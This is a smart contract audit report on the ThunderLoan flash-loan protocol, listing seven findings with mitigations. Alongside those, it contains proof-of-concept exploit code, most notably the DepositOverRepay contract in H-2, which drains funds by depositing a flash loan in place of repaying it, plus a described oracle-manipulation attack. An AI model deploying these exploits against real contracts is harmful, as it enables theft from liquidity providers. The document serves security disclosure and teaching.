ThunderLoan (Lending/Borrowing) Audit Report

Version 1.0

Yoann LHOMME

July 30, 2025

Protocol Audit Report

Yoann LHOMME

July 30, 2025

Prepared by: Yoann Lead Auditors: - Yoann LHOMME

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The whole team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
./src/
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Total	7

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7      // @audit-high we shouldn't be updating the exchange rate here!!!
8  @>  uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>  assetToken.updateExchangeRate(calculatedFee);
10     token.safeTransferFrom(msg.sender, address(assetToken), amount);
11 }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem.

Proof of Code

```
1  function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2      uint256 amountToBorrow = AMOUNT * 10;
```

```
3       uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
4
5       vm.startPrank(user);
6       tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7       thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
8       vm.stopPrank();
9
10      uint256 amountToRedeem = type(uint256).max;
11      vm.startPrank(liquidityProvider);
12      thunderLoan.redeem(tokenA, amountToRedeem);
13  }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate lines from `deposit`.

```
1   function deposit(IERC20 token, uint256 amount) external revertIfZero(
        amount) revertIfNotAllowedToken(token) {
2       AssetToken assetToken = s_tokenToAssetToken[token];
3       uint256 exchangeRate = assetToken.getExchangeRate();
4       uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
            ) / exchangeRate;
5       emit Deposit(msg.sender, token, amount);
6       assetToken.mint(msg.sender, mintAmount);
7       // @audit-high we shouldn't be updating the exchange rate here!!!
8   -   uint256 calculatedFee = getCalculatedFee(token, amount);
9   -   assetToken.updateExchangeRate(calculatedFee);
10      token.safeTransferFrom(msg.sender, address(assetToken), amount);
11  }
```

[H-2] By calling a flashloan and then `ThunderLoan::Deposit` instead of `ThunderLoan::repay` let user steal all the funds from the protocol

Description: When a user call a flash loan, it can deposit all the fund using the `ThunderLoan::Deposit` function instead of `ThunderLoan::repay` and steal all the money from the whales and the liquidity providers by calling `ThunderLoan::redeem` function.

Impact: Severe disruption of the protocol's functionality, allowing a user to steal all the funds from the protocol

Proof of Concept:

Proof of Code

```
1   function testUseDepositInsteadOfRepayToStealFunds() public
        setAllowedToken hasDeposits {
2           vm.startPrank(user);
3           uint256 amountToBorrow = 50e18;
```

```
4           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
5           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
                ));
6           tokenA.mint(address(dor), fee);
7           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
                ;
8           dor.redeemMoney();
9           vm.stopPrank();
10
11          assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
12      }
13  }
14
15  contract DepositOverRepay is IFlashLoanReceiver {
16      ThunderLoan thunderLoan;
17      AssetToken assetToken;
18      IERC20 s_token;
19
20      constructor(address _thunderLoan) {
21          thunderLoan = ThunderLoan(_thunderLoan);
22      }
23
24      function executeOperation(
25          address token,
26          uint256 amount,
27          uint256 fee,
28          address, /*initiator*/
29          bytes calldata /*params*/
30      )
31          external
32          returns (bool)
33      {
34          s_token = IERC20(token);
35          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
36          IERC20(token).approve(address(thunderLoan), amount + fee);
37          thunderLoan.deposit(IERC20(token), amount + fee);
38          return true;
39      }
40
41      function redeemMoney() public {
42          uint256 amount = assetToken.balanceOf(address(this));
43          thunderLoan.redeem(s_token, amount);
44      }
45  }
```

Recommended Mitigation:

Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registering the block.number in a variable in `flashloan()` and checking it in `deposit()`

or using the `s_currentlyFlashLoaning` boolean variable.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+   if (s_currentlyFlashLoaning[token]) {
+       revert ThunderLoan__CurrentlyFlashLoaning();
+   }
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    // @audit-high we shouldn't be updating the exchange rate here!!!
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoan`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order :

```
    uint256 private s_feePrecision; // @audit-info this should be constant/immutable
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
...
function testUpgradeBreaksStorageSlot() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    console2.log("Fee Before : ", feeBeforeUpgrade);
    console2.log("Fee After : ", feeAfterUpgrade);
    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

You can also see the difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:

1. User sells 1000 `tokenA`, tanking the price.
2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
    1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
        );
@>  return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

```
3. The user then repays the first flash loan, and then repays the
    second flash loan.
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Description: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

In `ThunderLoan.sol`, they are sensitive function `setAllowedToken()` and `_authorizeUpgrade()` that come to a centralization risk.

```
....
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
    returns (AssetToken) {
....
function _authorizeUpgrade(address newImplementation) internal override
    onlyOwner { }
```

Low

[L-1] Initializers could be front-run

Description: Since it is not possible to use constructor in an upgradeable contract, they must rely on an `initialize` function to set up critical state variables. However, if `initialize` is not called immediately during proxy deployment, it opens the door to a frontrunning attack.

Impact: An attacker could frontrun the deployment by calling the initialize function before the legitimate initializer call.

Recommended Mitigation: Ensure that the `initialize` function is called at the moment of proxy deployment by encoding the call and passing it to the proxy's constructor.

```
bytes memory initializer = abi.encodeWithSelector(
    ThunderLoan.initialize.selector,
    tswapAddress
);
new ERC1967Proxy(address(thunderLoan), initializer);
```

This guarantees that `initialize()` is called within the same transaction as the deployment, removing any opportunity for a frontrun.

[L-2] Missing critical event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted. Since it is a storage variable it is important to track the change.

Recommended Mitigation: Emit an event when `ThunderLoan::s_flashLoanFee` is updated.

```
+   event FlashLoanFeeUpdated(uint256 newFee);
...
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        // @audit-low must emit an event! (because it is a storage
           variable that will change)
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```